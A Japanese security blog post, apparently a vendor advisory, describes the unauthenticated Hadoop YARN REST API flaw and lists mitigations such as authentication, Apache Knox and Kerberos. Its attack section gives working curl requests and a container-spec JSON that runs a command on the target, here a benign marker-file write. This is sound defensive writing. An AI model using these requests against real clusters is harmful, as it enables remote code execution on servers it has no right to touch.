[Security] Hadoop Yarn、REST APIへの認証なしアクセスの脆弱性

先日、Tencent Cloudのセキュリティセンターから、Hadoop Yarn のインシデント事例が公開されました。認証せずにREST APIへアクセスができるという脆弱性を悪用するもので、国内外でも断続的に被害が発生しています。この件に関する概要や攻撃シナリオについてご紹介します。

公式APIの説明は下記サイトをご参照ください。
Apache Hadoop 2.9.2 – ResourceManager REST APIs.

脆弱性の詳細
Hadoop 1.xは、拡張性、リソースの使用率に問題があり、一部のプログラミングモデルをサポートしていません。
この問題を解決するため、Hadoop 2.xからはYarnを導入し、クラスタリソースを管理する機能が追加されました。

[図1] Yarn導入構造

Yarnは、Hadoopシステムの統一されたリソース管理プラットフォームで、クラスタ内のリソースを統合管理する機能を提供します。
ユーザーはREST APIからアプリケーションを作成し、さまざまな作業を直接実行することができます。

Yarnは、基本的に8088、8090ポートをYarn REST API向けに公開しています。したがって、このポートを使用して、サーバー上で実行コマンドを実行し、不正なスクリプトをダウンロードしたり、悪意のある攻撃を行うことができます。このポートが外部に露出されると、直接的に大きな被害を被ることになり、内部ネットワークのみ許可された場合であっても、このサーバーを通じて接続しているサーバーに被害が伝播することがあるため、追加のセキュリティ対策が必要です。

まずHadoop Yarnの構造を見てみましょう。

[図2] Hadoop Yarn Architecture

1. Clientは、実行コードとAM(Application Master)を実行するために必要なデータを含むアプリケーションを提出します。
2. Resource Managerは、Containerを管理するAMを開始します。
3. AMはResource Managerに必要なリソースのContainerを要求します。
4. Cotainerが割り当てられるとAMはContainer実行スペックをNode Managerにtaskを実行させるように伝達します。

これらのYarnの構造によって、以下のような攻撃シナリオが可能です。

1. TargetにPOSTリクエスト

curl -v -X POST 'http://Targer_ip:8088/ws/v1/cluster/apps/new-application'

2.応答値の確認

{"application-id":"application_1529031962137_6920","maximum-resource-capability":{"memory":285600,"vCores":22}}

3.攻撃スクリプトの作成(container-spec.json)
上記の応答値から得られたapplication-id(application_1529031962137_6920から実行コマンドを含むContainer-spec作成)

{
"am-container-spec" : {
"commands" : {
"command" : "echo 'hacked' > /tmp/this_is_hacked"
}
},
"application-id" : "application_1529031962137_6920",
"application-name" : "test",
"application-type" : "YARN"
}

4.攻撃を実行

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://Targer_ip:8088/ws/v1/cluster/apps -data-binary @container-spec.json

5.攻撃確認
これらの脆弱性を解決するための方法は次のとおりです。

短期対策
・Yarn Resource ManagerがNode ManagerにJobをSubmitするとき、指定されたアカウントのみSubmitできるように、適切な認証過程が必要。
・Job Submit時にリソースプールを指定しない場合は、Defaultプールを使用するため、攻撃の対象となる可能性がある。したがってDefaultプールの削除を推奨。

根本対策
・YApache KnoxでAPI Gatewayを構築し、アクセス制御を行う。
・YHadoopを2.X以降にアップデートして、Kerberos認証を使用。

その他、Yarn以外にもHadoopはWebUI機能を提供するために多くのポートが使用されており、対象の把握などセキュリティ対策を用意する必要があります。

TOAST Meetup 編集部

TOASTの技術ナレッジやお得なイベント情報を発信していきます
pagetop